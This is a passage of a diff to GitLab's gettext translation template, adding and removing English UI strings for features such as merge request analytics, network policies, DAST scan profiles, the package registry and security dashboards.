msgid "License|Your free trial of GitLab Ultimate expired on %{trial_ends_on}."
msgstr ""
-msgid "License|Your instance has exceeded your subscription's number of licensed users by %{extra_users_count}. You can continue to add more users and we'll include the overage in your next bill."
-msgstr ""
-
msgid "Limit display of time tracking units to hours."
msgstr ""
@@ -14443,6 +14824,9 @@ msgstr ""
msgid "List available repositories"
msgstr ""
+msgid "List of all merge commits"
+msgstr ""
+
msgid "List settings"
msgstr ""
@@ -14464,6 +14848,9 @@ msgstr ""
msgid "Load more"
msgstr ""
+msgid "Load more users"
+msgstr ""
+
msgid "Loading"
msgstr ""
@@ -14515,7 +14902,7 @@ msgstr ""
msgid "Lock the discussion"
msgstr ""
-msgid "Lock this %{issuableDisplayName}? Only <strong>project members</strong> will be able to comment."
+msgid "Lock this %{issuableDisplayName}? Only %{strongStart}project members%{strongEnd} will be able to comment."
msgstr ""
msgid "Lock to current projects"
@@ -14566,6 +14953,12 @@ msgstr ""
msgid "MERGED"
msgstr ""
+msgid "MR widget|Back to the Merge request"
+msgstr ""
+
+msgid "MR widget|See your pipeline in action"
+msgstr ""
+
msgid "MR widget|Take a look at our %{beginnerLinkStart}Beginner's Guide to Continuous Integration%{beginnerLinkEnd} and our %{exampleLinkStart}examples of GitLab CI/CD%{exampleLinkEnd} to learn more."
msgstr ""
@@ -14581,6 +14974,9 @@ msgstr ""
msgid "MRApprovals|Approvers"
msgstr ""
+msgid "MRApprovals|Commented by"
+msgstr ""
+
msgid "MRDiff|Show changes only"
msgstr ""
@@ -14665,9 +15061,6 @@ msgstr ""
msgid "Manifest import"
msgstr ""
-msgid "Manual job"
-msgstr ""
-
msgid "ManualOrdering|Couldn't save the order of the issues"
msgstr ""
@@ -14779,9 +15172,6 @@ msgstr ""
msgid "MattermostService|This service allows users to perform common operations on this project by entering slash commands in Mattermost."
msgstr ""
-msgid "Maven Metadata"
-msgstr ""
-
msgid "Max Group Export Download requests per minute per user"
msgstr ""
@@ -14917,6 +15307,15 @@ msgstr ""
msgid "Members can be added by project %{i_open}Maintainers%{i_close} or %{i_open}Owners%{i_close}"
msgstr ""
+msgid "Members invited to %{strong_start}%{group_name}%{strong_end}"
+msgstr ""
+
+msgid "Members of %{group} can also merge into this branch: %{branch}"
+msgstr ""
+
+msgid "Members of %{group} can also push to this branch: %{branch}"
+msgstr ""
+
msgid "Members of %{strong_open}%{project_name}%{strong_close}"
msgstr ""
@@ -14926,9 +15325,6 @@ msgstr ""
msgid "Members with access to %{strong_start}%{group_name}%{strong_end}"
msgstr ""
-msgid "Members with pending access to %{strong_start}%{group_name}%{strong_end}"
-msgstr ""
-
msgid "Memory Usage"
msgstr ""
@@ -14956,15 +15352,15 @@ msgstr ""
msgid "Merge Requests"
msgstr ""
-msgid "Merge Requests closed"
-msgstr ""
-
msgid "Merge Requests created"
msgstr ""
msgid "Merge Requests in Review"
msgstr ""
+msgid "Merge Requests merged"
+msgstr ""
+
msgid "Merge automatically (%{strategy})"
msgstr ""
@@ -14980,6 +15376,9 @@ msgstr ""
msgid "Merge in progress"
msgstr ""
+msgid "Merge locally"
+msgstr ""
+
msgid "Merge options"
msgstr ""
@@ -15043,6 +15442,27 @@ msgstr ""
msgid "MergeConflict|origin//their changes"
msgstr ""
+msgid "MergeRequestAnalytics|Assignees"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Date Merged"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Line changes"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Merge Request"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Milestone"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Pipelines"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Time to merge"
+msgstr ""
+
msgid "MergeRequestDiffs|Commenting on lines %{selectStart}start%{selectEnd} to %{end}"
msgstr ""
@@ -15175,6 +15595,12 @@ msgstr ""
msgid "MetricChart|Selected"
msgstr ""
+msgid "MetricChart|There is no data available. Please change your selection."
+msgstr ""
+
+msgid "MetricChart|There is too much data to calculate. Please change your selection."
+msgstr ""
+
msgid "Metrics"
msgstr ""
@@ -15277,6 +15703,12 @@ msgstr ""
msgid "Metrics|Check out the CI/CD documentation on deploying to an environment"
msgstr ""
+msgid "Metrics|Collapse panel"
+msgstr ""
+
+msgid "Metrics|Collapse panel (Esc)"
+msgstr ""
+
msgid "Metrics|Copy YAML"
msgstr ""
@@ -15286,9 +15718,6 @@ msgstr ""
msgid "Metrics|Create custom dashboard %{fileName}"
msgstr ""
-msgid "Metrics|Create dashboard"
-msgstr ""
-
msgid "Metrics|Create metric"
msgstr ""
@@ -15322,9 +15751,15 @@ msgstr ""
msgid "Metrics|Duplicate dashboard"
msgstr ""
+msgid "Metrics|Duplicate this dashboard to add panel or edit dashboard YAML."
+msgstr ""
+
msgid "Metrics|Duplicating..."
msgstr ""
+msgid "Metrics|Edit dashboard YAML"
+msgstr ""
+
msgid "Metrics|Edit metric"
msgid_plural "Metrics|Edit metrics"
msgstr[0] ""
@@ -15337,9 +15772,6 @@ msgstr ""
msgid "Metrics|For grouping similar metrics"
msgstr ""
-msgid "Metrics|Go back (Esc)"
-msgstr ""
-
msgid "Metrics|Invalid time range, please verify."
msgstr ""
@@ -15367,6 +15799,9 @@ msgstr ""
msgid "Metrics|Min"
msgstr ""
+msgid "Metrics|More actions"
+msgstr ""
+
msgid "Metrics|Must be a valid PromQL query."
msgstr ""
@@ -15391,6 +15826,9 @@ msgstr ""
msgid "Metrics|Prometheus Query Documentation"
msgstr ""
+msgid "Metrics|Refresh Prometheus data"
+msgstr ""
+
msgid "Metrics|Refresh dashboard"
msgstr ""
@@ -15469,6 +15907,9 @@ msgstr ""
msgid "Metrics|View logs"
msgstr ""
+msgid "Metrics|View runbook - %{label}"
+msgstr ""
+
msgid "Metrics|Y-axis label"
msgstr ""
@@ -15520,12 +15961,18 @@ msgstr[0] ""
msgstr[1] ""
msgstr[2] ""
+msgid "Milestone does not support burnup charts"
+msgstr ""
+
msgid "Milestone lists not available with your current license"
msgstr ""
msgid "Milestone lists show all issues from the selected milestone."
msgstr ""
+msgid "Milestone must have a start and due date"
+msgstr ""
+
msgid "MilestoneSidebar|Closed:"
msgstr ""
@@ -15691,6 +16138,15 @@ msgstr ""
msgid "Mirroring will only be available if the feature is included in the plan of the selected group or user."
msgstr ""
+msgid "Missing OAuth configuration for GitHub."
+msgstr ""
+
+msgid "Missing OS"
+msgstr ""
+
+msgid "Missing arch"
+msgstr ""
+
msgid "Missing commit signatures endpoint!"
msgstr ""
@@ -15736,6 +16192,9 @@ msgstr ""
msgid "Monitoring"
msgstr ""
+msgid "Month"
+msgstr ""
+
msgid "Months"
msgstr ""
@@ -15925,12 +16384,45 @@ msgstr ""
msgid "Network Policy|New rule"
msgstr ""
+msgid "NetworkPolicies|%{ifLabelStart}if%{ifLabelEnd} %{ruleType} %{isLabelStart}is%{isLabelEnd} %{ruleDirection} %{ruleSelector} %{directionLabelStart}and is inbound from a%{directionLabelEnd} %{rule} %{portsLabelStart}on%{portsLabelEnd} %{ports}"
+msgstr ""
+
+msgid "NetworkPolicies|%{ifLabelStart}if%{ifLabelEnd} %{ruleType} %{isLabelStart}is%{isLabelEnd} %{ruleDirection} %{ruleSelector} %{directionLabelStart}and is outbound to a%{directionLabelEnd} %{rule} %{portsLabelStart}on%{portsLabelEnd} %{ports}"
+msgstr ""
+
+msgid "NetworkPolicies|%{labelStart}Then%{labelEnd} %{action} %{spanStart}the network traffic.%{spanEnd}"
+msgstr ""
+
+msgid "NetworkPolicies|%{number} selected"
+msgstr ""
+
+msgid "NetworkPolicies|%{strongOpen}all%{strongClose} pods"
+msgstr ""
+
+msgid "NetworkPolicies|%{strongOpen}any%{strongClose} port"
+msgstr ""
+
+msgid "NetworkPolicies|.yaml"
+msgstr ""
+
msgid "NetworkPolicies|.yaml mode"
msgstr ""
msgid "NetworkPolicies|Actions"
msgstr ""
+msgid "NetworkPolicies|All selected"
+msgstr ""
+
+msgid "NetworkPolicies|Allow"
+msgstr ""
+
+msgid "NetworkPolicies|Allow all inbound traffic to %{selector} from %{ruleSelector} on %{ports}"
+msgstr ""
+
+msgid "NetworkPolicies|Allow all outbound traffic from %{selector} to %{ruleSelector} on %{ports}"
+msgstr ""
+
msgid "NetworkPolicies|Choose whether to enforce this policy."
msgstr ""
@@ -15940,6 +16432,9 @@ msgstr ""
msgid "NetworkPolicies|Define this policy's location, conditions and actions."
msgstr ""
+msgid "NetworkPolicies|Deny all traffic"
+msgstr ""
+
msgid "NetworkPolicies|Description"
msgstr ""
@@ -15952,6 +16447,9 @@ msgstr ""
msgid "NetworkPolicies|Environment does not have deployment platform"
msgstr ""
+msgid "NetworkPolicies|IP/subnet"
+msgstr ""
+
msgid "NetworkPolicies|If you are using Auto DevOps, your %{monospacedStart}auto-deploy-values.yaml%{monospacedEnd} file will not be updated if you change a policy in this section. Auto DevOps users should make changes by following the %{linkStart}Container Network Policy documentation%{linkEnd}."
msgstr ""
@@ -15970,12 +16468,18 @@ msgstr ""
msgid "NetworkPolicies|Network Policy"
msgstr ""
+msgid "NetworkPolicies|Network traffic"
+msgstr ""
+
msgid "NetworkPolicies|New policy"
msgstr ""
msgid "NetworkPolicies|No policies detected"
msgstr ""
+msgid "NetworkPolicies|None selected"
+msgstr ""
+
msgid "NetworkPolicies|Policies are a specification of how groups of pods are allowed to communicate with each other's network endpoints."
msgstr ""
@@ -16000,9 +16504,15 @@ msgstr ""
msgid "NetworkPolicies|Policy type"
msgstr ""
+msgid "NetworkPolicies|Rule"
+msgstr ""
+
msgid "NetworkPolicies|Rule mode"
msgstr ""
+msgid "NetworkPolicies|Rule mode is unavailable for this policy. In some cases, we cannot parse the YAML file back into the rules editor."
+msgstr ""
+
msgid "NetworkPolicies|Rules"
msgstr ""
@@ -16015,9 +16525,54 @@ msgstr ""
msgid "NetworkPolicies|Status"
msgstr ""
+msgid "NetworkPolicies|Traffic that does not match any rule will be blocked."
+msgstr ""
+
msgid "NetworkPolicies|YAML editor"
msgstr ""
+msgid "NetworkPolicies|all DNS names"
+msgstr ""
+
+msgid "NetworkPolicies|all IP addresses"
+msgstr ""
+
+msgid "NetworkPolicies|any pod"
+msgstr ""
+
+msgid "NetworkPolicies|any port"
+msgstr ""
+
+msgid "NetworkPolicies|domain name"
+msgstr ""
+
+msgid "NetworkPolicies|entity"
+msgstr ""
+
+msgid "NetworkPolicies|inbound to"
+msgstr ""
+
+msgid "NetworkPolicies|nowhere"
+msgstr ""
+
+msgid "NetworkPolicies|outbound from"
+msgstr ""
+
+msgid "NetworkPolicies|pod with labels"
+msgstr ""
+
+msgid "NetworkPolicies|pods %{pods}"
+msgstr ""
+
+msgid "NetworkPolicies|pods with labels"
+msgstr ""
+
+msgid "NetworkPolicies|ports %{ports}"
+msgstr ""
+
+msgid "NetworkPolicies|ports/protocols"
+msgstr ""
+
msgid "Never"
msgstr ""
@@ -16411,12 +16966,18 @@ msgstr ""
msgid "No required pipeline"
msgstr ""
+msgid "No runner executable"
+msgstr ""
+
msgid "No runners found"
msgstr ""
msgid "No schedules"
msgstr ""
+msgid "No source selected"
+msgstr ""
+
msgid "No stack trace for this error"
msgstr ""
@@ -16504,18 +17065,12 @@ msgstr ""
msgid "Not started"
msgstr ""
-msgid "Not-confidential epic cannot be assigned to a confidential parent epic"
-msgstr ""
-
msgid "Note"
msgstr ""
msgid "Note parameters are invalid: %{errors}"
msgstr ""
-msgid "Note that PostgreSQL %{pg_version_upcoming} will become the minimum required version in GitLab %{gl_version_upcoming} (%{gl_version_upcoming_date}). Please consider upgrading your environment to a supported PostgreSQL version soon, see <a href=\"%{pg_version_upcoming_url}\">the related epic</a> for details."
-msgstr ""
-
msgid "Note that this invitation was sent to %{mail_to_invite_email}, but you are signed in as %{link_to_current_user} with email %{mail_to_current_user}."
msgstr ""
@@ -16663,9 +17218,6 @@ msgstr ""
msgid "Novice"
msgstr ""
-msgid "Now you can access the merge request navigation tabs at the top, where they’re easier to find."
-msgstr ""
-
msgid "Nuget metadatum must have at least license_url, project_url or icon_url set"
msgstr ""
@@ -16705,9 +17257,6 @@ msgstr ""
msgid "Number of files touched"
msgstr ""
-msgid "OAuth configuration for GitHub missing."
-msgstr ""
-
msgid "OK"
msgstr ""
@@ -16750,21 +17299,27 @@ msgstr ""
msgid "OnDemandScans|Attached branch is where the scan job runs."
msgstr ""
+msgid "OnDemandScans|Could not fetch site profiles. Please refresh the page, or try again later."
+msgstr ""
+
msgid "OnDemandScans|Could not run the scan. Please try again."
msgstr ""
-msgid "OnDemandScans|Could not run the scan: %{backendErrorMessage}"
+msgid "OnDemandScans|Create a new site profile"
msgstr ""
msgid "OnDemandScans|Create new DAST scan"
msgstr ""
-msgid "OnDemandScans|DAST will scan the target URL and any discovered sub URLs."
+msgid "OnDemandScans|Manage profiles"
msgstr ""
msgid "OnDemandScans|New on-demand DAST scan"
msgstr ""
+msgid "OnDemandScans|No profile yet. In order to create a new scan, you need to have at least one completed site profile."
+msgstr ""
+
msgid "OnDemandScans|On-demand Scans"
msgstr ""
@@ -16774,25 +17329,31 @@ msgstr ""
msgid "OnDemandScans|Only a passive scan can be performed on demand."
msgstr ""
-msgid "OnDemandScans|Passive DAST Scan"
+msgid "OnDemandScans|Passive"
msgstr ""
-msgid "OnDemandScans|Please enter a valid URL format, ex: http://www.example.com/home"
+msgid "OnDemandScans|Run scan"
msgstr ""
-msgid "OnDemandScans|Run this scan"
+msgid "OnDemandScans|Scan mode"
msgstr ""
-msgid "OnDemandScans|Scan mode"
+msgid "OnDemandScans|Scanner settings"
msgstr ""
msgid "OnDemandScans|Schedule or run scans immediately against target sites. Currently available on-demand scan type: DAST. %{helpLinkStart}More information%{helpLinkEnd}"
msgstr ""
-msgid "OnDemandScans|Target URL"
+msgid "OnDemandScans|Select one of the existing profiles"
+msgstr ""
+
+msgid "OnDemandScans|Site profiles"
msgstr ""
-msgid "Once a project is permanently deleted it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its respositories and %{strongStart}all related resources%{strongEnd} including issues, merge requests etc."
+msgid "OnDemandScans|Use existing site profile"
+msgstr ""
+
+msgid "Once a project is permanently deleted it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd} including issues, merge requests etc."
msgstr ""
msgid "Once a project is permanently deleted it cannot be recovered. You will lose this project's repository and all content: issues, merge requests etc."
@@ -16852,9 +17413,6 @@ msgstr ""
msgid "Only active this projects shows up in the search and on the dashboard."
msgstr ""
-msgid "Only admins"
-msgstr ""
-
msgid "Only admins can delete project"
msgstr ""
@@ -16873,6 +17431,9 @@ msgstr ""
msgid "Only project members will be imported. Group members will be skipped."
msgstr ""
+msgid "Only projects created under a Gold license are available in Security Dashboards."
+msgstr ""
+
msgid "Only verified users with an email address in any of these domains can be added to the group."
msgstr ""
@@ -16888,9 +17449,15 @@ msgstr ""
msgid "Open Selection"
msgstr ""
+msgid "Open Web IDE"
+msgstr ""
+
msgid "Open comment type dropdown"
msgstr ""
+msgid "Open epics"
+msgstr ""
+
msgid "Open errors"
msgstr ""
@@ -17011,18 +17578,12 @@ msgstr ""
msgid "Outbound requests"
msgstr ""
-msgid "OutdatedBrowser|From May 2020 GitLab no longer supports Internet Explorer 11."
-msgstr ""
-
msgid "OutdatedBrowser|GitLab may not work properly, because you are using an outdated web browser."
msgstr ""
msgid "OutdatedBrowser|Please install a %{browser_link_start}supported web browser%{browser_link_end} for a better experience."
msgstr ""
-msgid "OutdatedBrowser|You can provide feedback %{feedback_link_start}on this issue%{feedback_link_end} or via your usual support channels."
-msgstr ""
-
msgid "Outdent"
msgstr ""
@@ -17056,9 +17617,6 @@ msgstr ""
msgid "Package deleted successfully"
msgstr ""
-msgid "Package information"
-msgstr ""
-
msgid "Package recipe already exists"
msgstr ""
@@ -17143,6 +17701,12 @@ msgstr ""
msgid "PackageRegistry|Copy npm setup command"
msgstr ""
+msgid "PackageRegistry|Copy registry include"
+msgstr ""
+
+msgid "PackageRegistry|Copy require package include"
+msgstr ""
+
msgid "PackageRegistry|Copy yarn command"
msgstr ""
@@ -17158,6 +17722,9 @@ msgstr ""
msgid "PackageRegistry|Filter by name"
msgstr ""
+msgid "PackageRegistry|For more information on Composer packages in GitLab, %{linkStart}see the documentation.%{linkEnd}"
+msgstr ""
+
msgid "PackageRegistry|For more information on the Conan registry, %{linkStart}see the documentation%{linkEnd}."
msgstr ""
@@ -17176,9 +17743,6 @@ msgstr ""
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}pom.xml%{codeEnd} file."
msgstr ""
-msgid "PackageRegistry|Installation"
-msgstr ""
-
msgid "PackageRegistry|Is your favorite package manager missing? We'd love your help in building first-class support for it into GitLab! %{contributionLinkStart}Visit the contribution documentation%{contributionLinkEnd} to learn more about how to build support for new package managers into GitLab. Below is a list of package managers that are on our radar."
msgstr ""
@@ -17215,27 +17779,18 @@ msgstr ""
msgid "PackageRegistry|Pip Command"
msgstr ""
-msgid "PackageRegistry|Pipeline %{linkStart}%{linkEnd} triggered %{timestamp} by %{author}"
-msgstr ""
-
msgid "PackageRegistry|Pipeline %{link} triggered %{datetime} by %{author}"
msgstr ""
msgid "PackageRegistry|Published to the %{project} Package Registry %{datetime}"
msgstr ""
-msgid "PackageRegistry|Published to the repository at %{timestamp}"
-msgstr ""
-
msgid "PackageRegistry|PyPi"
msgstr ""
msgid "PackageRegistry|Recipe: %{recipe}"
msgstr ""
-msgid "PackageRegistry|Registry Setup"
-msgstr ""
-
msgid "PackageRegistry|Remove package"
msgstr ""
@@ -17284,13 +17839,19 @@ msgstr ""
msgid "PackageRegistry|You may also need to setup authentication using an auth token. %{linkStart}See the documentation%{linkEnd} to find out more."
msgstr ""
-msgid "PackageRegistry|npm"
+msgid "PackageRegistry|composer.json registry include"
+msgstr ""
+
+msgid "PackageRegistry|composer.json require package include"
+msgstr ""
+
+msgid "PackageRegistry|npm command"
msgstr ""
msgid "PackageRegistry|published by %{author}"
msgstr ""
-msgid "PackageRegistry|yarn"
+msgid "PackageRegistry|yarn command"
msgstr ""
msgid "PackageType|Composer"
@@ -17434,7 +17995,7 @@ msgstr ""
msgid "Password successfully changed"
msgstr ""
-msgid "Password was successfully updated. Please login with it"
+msgid "Password was successfully updated. Please sign in again."
msgstr ""
msgid "Passwords should be unique and not used for any other sites or services."
@@ -17938,6 +18499,9 @@ msgstr ""
msgid "Please complete your profile with email address"
msgstr ""
+msgid "Please contact your administrator with any questions."
+msgstr ""
+
msgid "Please contact your administrator."
msgstr ""
@@ -18091,13 +18655,13 @@ msgstr ""
msgid "Preferences|Choose what content you want to see on a project’s overview page."
msgstr ""
-msgid "Preferences|Customize integrations with third party services."
+msgid "Preferences|Choose what content you want to see on your homepage."
msgstr ""
-msgid "Preferences|Customize the appearance of the application header and navigation sidebar."
+msgid "Preferences|Customize integrations with third party services."
msgstr ""
-msgid "Preferences|Default dashboard"
+msgid "Preferences|Customize the appearance of the application header and navigation sidebar."
msgstr ""
msgid "Preferences|Display time in 24-hour format"
@@ -18109,6 +18673,9 @@ msgstr ""
msgid "Preferences|For example: 30 mins ago."
msgstr ""
+msgid "Preferences|Homepage content"
+msgstr ""
+
msgid "Preferences|Instead of all the files changed, show only one file at a time. To switch between files, use the file browser."
msgstr ""
@@ -18400,15 +18967,9 @@ msgstr ""
msgid "Profiles|Default notification email"
msgstr ""
-msgid "Profiles|Delete Account"
-msgstr ""
-
msgid "Profiles|Delete account"
msgstr ""
-msgid "Profiles|Delete your account?"
-msgstr ""
-
msgid "Profiles|Deleting an account has the following effects:"
msgstr ""
@@ -18799,6 +19360,9 @@ msgstr ""
msgid "Project visibility level will be changed to match namespace rules when transferring to a group."
msgstr ""
+msgid "Project was not found or you do not have permission to add this project to Security Dashboards."
+msgstr ""
+
msgid "Project: %{name}"
msgstr ""
@@ -18823,6 +19387,9 @@ msgstr ""
msgid "ProjectFileTree|Name"
msgstr ""
+msgid "ProjectFileTree|Show more"
+msgstr ""
+
msgid "ProjectLastActivity|Never"
msgstr ""
@@ -19414,7 +19981,7 @@ msgstr ""
msgid "PrometheusAlerts|Operator"
msgstr ""
-msgid "PrometheusAlerts|Runbook"
+msgid "PrometheusAlerts|Runbook URL (optional)"
msgstr ""
msgid "PrometheusAlerts|Select query"
@@ -19423,10 +19990,19 @@ msgstr ""
msgid "PrometheusAlerts|Threshold"
msgstr ""
-msgid "PrometheusService|%{exporters} with %{metrics} were found"
+msgid "PrometheusAlerts|exceeded"
+msgstr ""
+
+msgid "PrometheusAlerts|https://gitlab.com/gitlab-com/runbooks"
+msgstr ""
+
+msgid "PrometheusAlerts|is equal to"
msgstr ""
-msgid "PrometheusService|<p class=\"text-tertiary\">No <a href=\"%{docsUrl}\">common metrics</a> were found</p>"
+msgid "PrometheusAlerts|is less than"
+msgstr ""
+
+msgid "PrometheusService|%{exporters} with %{metrics} were found"
msgstr ""
msgid "PrometheusService|Active"
@@ -19486,6 +20062,9 @@ msgstr ""
msgid "PrometheusService|New metric"
msgstr ""
+msgid "PrometheusService|No %{docsUrlStart}common metrics%{docsUrlEnd} were found"
+msgstr ""
+
msgid "PrometheusService|No custom metrics have been created. Create one using the button above"
msgstr ""
@@ -19540,6 +20119,9 @@ msgstr ""
msgid "Promoted issue to an epic."
msgstr ""
+msgid "Promotion is not supported."
+msgstr ""
+
msgid "Promotions|Burndown Charts are visual representations of the progress of completing a milestone. At a glance, you see the current state for the completion a given milestone. Without them, you would have to organize the data from the milestone and plot it yourself to have the same sense of progress."
msgstr ""
@@ -19621,6 +20203,9 @@ msgstr ""
msgid "Prompt users to upload SSH keys"
msgstr ""
+msgid "Protect"
+msgstr ""
+
msgid "Protect variable"
msgstr ""
@@ -19951,9 +20536,6 @@ msgstr ""
msgid "Recent searches"
msgstr ""
-msgid "Recipe"
-msgstr ""
-
msgid "Reconfigure"
msgstr ""
@@ -20050,6 +20632,9 @@ msgstr ""
msgid "Registration|Your profile"
msgstr ""
+msgid "Registry setup"
+msgstr ""
+
msgid "Regulate approvals by authors/committers, based on compliance frameworks. Can be changed only at the instance level."
msgstr ""
@@ -20143,6 +20728,9 @@ msgstr ""
msgid "Releases|New Release"
msgstr ""
+msgid "Release|Something went wrong while creating a new release"
+msgstr ""
+
msgid "Release|Something went wrong while getting the release details"
msgstr ""
@@ -20185,6 +20773,9 @@ msgstr ""
msgid "Remove all or specific label(s)"
msgstr ""
+msgid "Remove approver"
+msgstr ""
+
msgid "Remove approvers"
msgstr ""
@@ -20254,9 +20845,6 @@ msgstr ""
msgid "Remove priority"
msgstr ""
-msgid "Remove project"
-msgstr ""
-
msgid "Remove secondary node"
msgstr ""
@@ -20290,9 +20878,6 @@ msgstr ""
msgid "Removed %{type} with id %{id}"
msgstr ""
-msgid "Removed Projects"
-msgstr ""
-
msgid "Removed all labels."
msgstr ""
@@ -20305,12 +20890,6 @@ msgstr ""
msgid "Removed parent epic %{epic_ref}."
msgstr ""
-msgid "Removed projects"
-msgstr ""
-
-msgid "Removed projects cannot be restored!"
-msgstr ""
-
msgid "Removed spent time."
msgstr ""
@@ -20359,15 +20938,9 @@ msgstr ""
msgid "Removes time estimate."
msgstr ""
-msgid "Removing a project places it into a read-only state until %{date}, at which point the project will be permanently removed. Are you ABSOLUTELY sure?"
-msgstr ""
-
msgid "Removing license…"
msgstr ""
-msgid "Removing the project will delete its repository and all related resources including issues, merge requests etc."
-msgstr ""
-
msgid "Removing this group also removes all child projects, including archived projects, and their resources."
msgstr ""
@@ -20551,9 +21124,6 @@ msgstr ""
msgid "Repository Settings"
msgstr ""
-msgid "Repository URL"
-msgstr ""
-
msgid "Repository check"
msgstr ""
@@ -20743,9 +21313,15 @@ msgstr ""
msgid "Resolve all threads in new issue"
msgstr ""
+msgid "Resolve conflicts"
+msgstr ""
+
msgid "Resolve conflicts on source branch"
msgstr ""
+msgid "Resolve these conflicts or ask someone with write access to this repository to merge it locally."
+msgstr ""
+
msgid "Resolve thread"
msgstr ""
@@ -20926,6 +21502,9 @@ msgstr ""
msgid "Rook"
msgstr ""
+msgid "Rule name is already taken."
+msgstr ""
+
msgid "Rules that define what git pushes are accepted for a project in this group. All newly created projects in this group will use these settings."
msgstr ""
@@ -20938,6 +21517,9 @@ msgstr ""
msgid "Run housekeeping"
msgstr ""
+msgid "Run manual or delayed jobs"
+msgstr ""
+
msgid "Run tests against your code live using the Web Terminal"
msgstr ""
@@ -21064,6 +21646,9 @@ msgstr ""
msgid "Save Changes"
msgstr ""
+msgid "Save Push Rules"
+msgstr ""
+
msgid "Save anyway"
msgstr ""
@@ -21094,6 +21679,9 @@ msgstr ""
msgid "Save variables"
msgstr ""
+msgid "Saved scan settings and target site settings which are reusable."
+msgstr ""
+
msgid "Saving"
msgstr ""
@@ -21142,6 +21730,9 @@ msgstr ""
msgid "Scopes can't be blank"
msgstr ""
+msgid "Score"
+msgstr ""
+
msgid "Scroll down"
msgstr ""
@@ -21184,6 +21775,9 @@ msgstr ""
msgid "Search branches and tags"
msgstr ""
+msgid "Search branches, tags, and commits"
+msgstr ""
+
msgid "Search by Git revision"
msgstr ""
@@ -21391,6 +21985,9 @@ msgstr ""
msgid "Secondary"
msgstr ""
+msgid "Seconds"
+msgstr ""
+
msgid "Secret"
msgstr ""
@@ -21418,13 +22015,37 @@ msgstr ""
msgid "Security report is out of date. Run %{newPipelineLinkStart}a new pipeline%{newPipelineLinkEnd} for the target branch (%{targetBranchName})"
msgstr ""
+msgid "SecurityApprovals|License Scanning must be enabled. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
+msgid "SecurityApprovals|One or more of the security scanners must be enabled. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
+msgid "SecurityApprovals|Requires approval for vulnerabilties of Critical, High, or Unknown severity. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
+msgid "SecurityApprovals|Requires license policy rules for licenses of Allowed, or Denied. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
msgid "SecurityConfiguration|An error occurred while creating the merge request."
msgstr ""
+msgid "SecurityConfiguration|Available for on-demand DAST"
+msgstr ""
+
msgid "SecurityConfiguration|Configure"
msgstr ""
-msgid "SecurityConfiguration|Customize common SAST settings to suit your requirements. More advanced configuration options exist, which you can add to the configuration file this tool generates. It's important to note that if you make any configurations, they will be saved as overrides and will be %{strongStart}excluded from automatic updates%{strongEnd}."
+msgid "SecurityConfiguration|Could not retrieve configuration data. Please refresh the page, or try again later."
+msgstr ""
+
+msgid "SecurityConfiguration|Create Merge Request"
+msgstr ""
+
+msgid "SecurityConfiguration|Customize common SAST settings to suit your requirements. Configuration changes made here override those provided by GitLab and are excluded from updates. For details of more advanced configuration options, see the %{linkStart}GitLab SAST documentation%{linkEnd}."
+msgstr ""
+
+msgid "SecurityConfiguration|Enable"
msgstr ""
msgid "SecurityConfiguration|Enable via Merge Request"
@@ -21445,6 +22066,9 @@ msgstr ""
msgid "SecurityConfiguration|Not enabled"
msgstr ""
+msgid "SecurityConfiguration|SAST Configuration"
+msgstr ""
+
msgid "SecurityConfiguration|Security Control"
msgstr ""
@@ -21472,7 +22096,7 @@ msgstr ""
msgid "SecurityReports|Add a project to your dashboard"
msgstr ""
-msgid "SecurityReports|Add or remove projects from your dashboard"
+msgid "SecurityReports|Add or remove projects to monitor in the security area. Projects included in this list will have their results displayed in the security dashboard and vulnerability report."
msgstr ""
msgid "SecurityReports|Add projects"
@@ -21508,13 +22132,10 @@ msgstr ""
msgid "SecurityReports|Download Report"
msgstr ""
-msgid "SecurityReports|Each vulnerability now has a unique page that can be directly linked to, shared, referenced, and tracked as the single source of truth. Vulnerability occurrences also persist across scanner runs, which improves tracking and visibility and reduces duplicates between scans."
-msgstr ""
-
-msgid "SecurityReports|Edit dashboard"
+msgid "SecurityReports|Either you don't have permission to view this dashboard or the dashboard has not been setup. Please check your permission settings with your administrator or check your dashboard configurations to proceed."
msgstr ""
-msgid "SecurityReports|Either you don't have permission to view this dashboard or the dashboard has not been setup. Please check your permission settings with your administrator or check your dashboard configurations to proceed."
+msgid "SecurityReports|Ensure that %{trackingStart}issue tracking%{trackingEnd} is enabled for this project and you have %{permissionsStart}permission to create new issues%{permissionsEnd}."
msgstr ""
msgid "SecurityReports|Error fetching the vulnerability counts. Please check your network connection and try again."
@@ -21529,19 +22150,13 @@ msgstr ""
msgid "SecurityReports|Fuzzing artifacts"
msgstr ""
-msgid "SecurityReports|Group Security Dashboard"
-msgstr ""
-
msgid "SecurityReports|Hide dismissed"
msgstr ""
-msgid "SecurityReports|Introducing standalone vulnerabilities"
-msgstr ""
-
msgid "SecurityReports|Issue Created"
msgstr ""
-msgid "SecurityReports|Learn more"
+msgid "SecurityReports|Issues created from a vulnerability cannot be removed."
msgstr ""
msgid "SecurityReports|Learn more about setting up your dashboard"
@@ -21553,6 +22168,9 @@ msgstr ""
msgid "SecurityReports|Monitor vulnerabilities in your code"
msgstr ""
+msgid "SecurityReports|Monitored projects"
+msgstr ""
+
msgid "SecurityReports|More info"
msgstr ""
@@ -21571,13 +22189,13 @@ msgstr ""
msgid "SecurityReports|Project"
msgstr ""
-msgid "SecurityReports|Projects added"
+msgid "SecurityReports|Project was not found or you do not have permission to add this project to Security Dashboards."
msgstr ""
-msgid "SecurityReports|Remove project from dashboard"
+msgid "SecurityReports|Projects added"
msgstr ""
-msgid "SecurityReports|Return to dashboard"
+msgid "SecurityReports|Remove project from dashboard"
msgstr ""
msgid "SecurityReports|Scan details"
@@ -21649,7 +22267,7 @@ msgstr ""
msgid "SecurityReports|To widen your search, change or remove filters above"
msgstr ""
